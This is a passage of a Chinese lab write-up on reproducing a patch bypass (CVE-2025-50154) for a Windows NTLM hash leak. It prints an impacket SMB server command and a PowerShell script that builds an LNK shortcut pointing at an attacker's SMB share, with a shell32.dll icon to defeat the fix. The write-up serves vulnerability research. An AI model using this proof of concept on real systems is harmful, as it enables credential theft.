inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fl6G1bY0VgicIb7dV0DCFGZlibNy44hJ3u8oKL4YYUBVEcWzdPoJ2qBKw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2.4 复测</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">打完补丁，之后再用上面这种方式无法拿到hash值了</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002100" data-ratio="0.5768518518518518" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b882fddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fxonL8cIkgbpSPia2Q5OaKEicuVvmu90UMAZmUEhlY6TkvibDNPNx1oJ3Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002103" data-ratio="0.125" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7b7942cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8f2KnBSDyh4YdAAVwp8uibRKsFmf7IoIqH3ia8Hib3ammk2ZV0sq8QJ69bw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">3# Bypass-CVE-2025-50154</span></span><span style="display: none;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fl6G1bY0VgicIb7dV0DCFGZlibNy44hJ3u8oKL4YYUBVEcWzdPoJ2qBKw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">3.1 复现</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">前面的CVE-2025-24054打上对应补丁之后，通过下面的方式可以实现绕过补丁修复。 还是先启动kali中的SMB服务：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/ps68icnpRvDUXp5ia3dFtksTBg2bZW7AUzIodNoxp6kkQ3b4gZWa70B1xDyricpL4xJgFzCwZ1yDaXOHEQFRMsQlgg2m7ERJugp/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">impacket-smbserver share . -smb2support</span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002102" data-ratio="0.16557017543859648" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="912" src="https://wechat2rss.xlab.app/img-proxy/?k=69ba59b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8frdIFJulM6MlsNy2GXzycVLrzGudLiaZ2sXGWLrTDb1bUibav5n7ELEpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在前面的基础上只需要修改一下PowerShell生成LNK文件的方式即可 更改脚本，使图标成为默认图标 （shell32.dll），使可执行值成为可以检索到的远程文件路径。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/ps68icnpRvDUXp5ia3dFtksTBg2bZW7AUzIodNoxp6kkQ3b4gZWa70B1xDyricpL4xJgFzCwZ1yDaXOHEQFRMsQlgg2m7ERJugp/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 文件创建</span><span leaf="">$shortcutPath = &#34;C:\Users\Administrator\Desktop\1\lab.lnk&#34;</span><span leaf=""># 这个exe可以不用存在，只要把kali的SMB服务启动即可，同时这个地址必须是远程kali地址</span><span leaf="">$targetPath = &#34;\\192.168.48.129\share\calc.exe&#34;</span><span leaf=""># 修改图标为本地白名单来绕过</span><span leaf="">$iconLocation = &#34;C:\Windows\System32\SHELL32.dll&#34;</span><span leaf="">$wShell = New-Object -ComObject WScript.Shell</span><span leaf="">$shortcut = $wShell.CreateShortcut($shortcutPath)</span><span leaf="">$shortcut.TargetPath = $targetPath</span><span leaf="">$shortcut.IconLocation = $iconLocation</span><span leaf="">$shortcut.Save()</span><span leaf="">Write-Output &#34;Shortcut created at: $shortcutPath&#34;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">运行PowerShell脚本：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002105" data-ratio="0.5768518518518518" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d7bd66a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8f66xWYuvibJwId3trddlkklUb7wP2lsemNGv1f9RnKBGz1q7sUYbbsBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Kali Linux开启的SMB服务接收到Hash值：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002106" data-ratio="0.5768518518518518" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b712f8fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fyOY52O2KrwRO7QGdrACTtQF7Ir3sGk6uWx6VTpyIYNpQcwgkqfibOOw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fl6G1bY0VgicIb7dV0DCFGZlibNy44hJ3u8oKL4YYUBVEcWzdPoJ2qBKw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">3.2 对应补丁以及漏洞信息</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50154" target="_blank">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50154</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">安装方式和旧漏洞的方式一致：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002104" data-ratio="0.5157407407407407" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f95533df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fXEVjCWv7ibX8w1ibaTmkhQUHibicH4PysiaBjGr6ibPqO8Yjs9vWWhlMK09w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">查看是否安装上补丁：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/ps68icnpRvDUXp5ia3dFtksTBg2bZW7AUzIodNoxp6kkQ3b4gZWa70B1xDyricpL4xJgFzCwZ1yDaXOHEQFRMsQlgg2m7ERJugp/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">systeminfo</span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002111" data-ratio="0.575925925925926" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1e96c857&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8foMz7zk7r55gwnA38XCCaIUiabria8EcuuL2TtPZR3qKogRLw2icfz5f9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><hr style="-webkit-tap-highlight-color: transparent;margin: 1.5rem 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border-top: 1px dashed rgb(165, 165, 165);background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-right: none;border-left: none;border-image: initial;border-bottom: none;height: 1px;font-size: 16px;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-weight: 300;letter-spacing: normal;text-align: start;"/><blockquote style="-webkit-tap-highlight-color: transparent;margin: 1em 0px;padding: 15px 15px 15px 1rem;outline: 0px;border-left: 6px solid rgb(220, 230, 240);color: rgb(129, 145, 152);font-size: 0.9em;text-indent: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: normal;border-bottom-color: rgb(64, 64, 64);border-right-color: rgb(64, 64, 64);border-top-color: rgb(64, 64, 64);background: rgb(242, 247, 251);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: 